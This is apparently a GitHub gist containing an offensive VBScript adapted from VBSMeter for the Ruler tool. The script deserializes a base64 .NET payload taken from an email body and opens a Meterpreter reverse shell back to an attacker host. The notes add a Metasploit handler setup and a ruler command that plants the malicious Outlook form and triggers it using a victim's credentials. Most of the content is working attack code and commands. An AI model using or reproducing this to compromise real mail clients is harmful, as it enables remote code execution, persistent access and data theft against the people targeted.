Skip to content

Instantly share code, notes, and snippets.

@leoloobeek
Forked from staaldraad/Command.vbs
Created November 6, 2017 23:14
Show Gist options
  • Save leoloobeek/ebfa368ebeb6982b3a37dcf0dffd1c6d to your computer and use it in GitHub Desktop.
Save leoloobeek/ebfa368ebeb6982b3a37dcf0dffd1c6d to your computer and use it in GitHub Desktop.
Using VBSMeter with Ruler
Call X()
End Function
Dim RHOST: RHOST = "x.x.x.x"
Dim RPORT: RPORT = "8999"
Function Base64ToStream(b)
Dim enc, length, ba, transform, ms
Set enc = CreateObject("System.Text.ASCIIEncoding")
length = enc.GetByteCount_2(b)
Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")
Set ms = CreateObject("System.IO.MemoryStream")
ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3)
ms.Position = 0
Set Base64ToStream = ms
End Function
Sub Pew
Dim s, entry_class
s = Trim(Item.Body)
entry_class = "MeterPreter"
Dim fmt, al, d, o
Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Set al = CreateObject("System.Collections.ArrayList")
al.Add fmt.SurrogateSelector
Set d = fmt.Deserialize_2(Base64ToStream(s))
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
o.MSFConnect RHOST, RPORT
End Sub
Function X()
Pew
AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkDAAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZX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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ0AAAAEAAAACRcAAAAJBgAAAAkWAAAABhoAAAAnU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkgTG9hZChCeXRlW10pCAAAAAoL

This requires Ruler

The original payload, VBSMeter was created by @Cn33liz and can be found here: VBSMeter. The version here is slightly slimmed down and modified so that it fits into the maximum payload size for Ruler forms.

The "payload" has been split into a seperate file, this allows us to send it as the message body of an email, and have the form invoke it dynamically.

Setup MSF

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST 0.0.0.0
set LPORT 443
set AutoRunScript post/windows/manage/migrate NAME=notepad.exe
set EnableUnicodeEncoding true
set EnableStageEncoding true
set ExitOnSession false
set EXITFUNC thread
exploit -j

Remember to set EXITFUNC, if you leave it as process Outlook will crash/exit.

Shell through Ruler

  1. Create Command.vbs and Payload.b64.
  2. cat /tmp/Payload.b64|xargs -0 -I{} ./ruler-linux64 --email [email protected] --password "ThePassword" form add --suffix metpew --input /tmp/Command.vbs --send --body "{}" --rule
  3. You should receive a shell

You'll note that command.vbs has a bit of a weird syntax.

Call X()
End Function

^ this closes the Function P(), which exists in the defualt forms template.

Function X()
Pew

^ this calls our sub to spawn the shell. There is NO End Function needed as the default forms template inserts this automatically.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment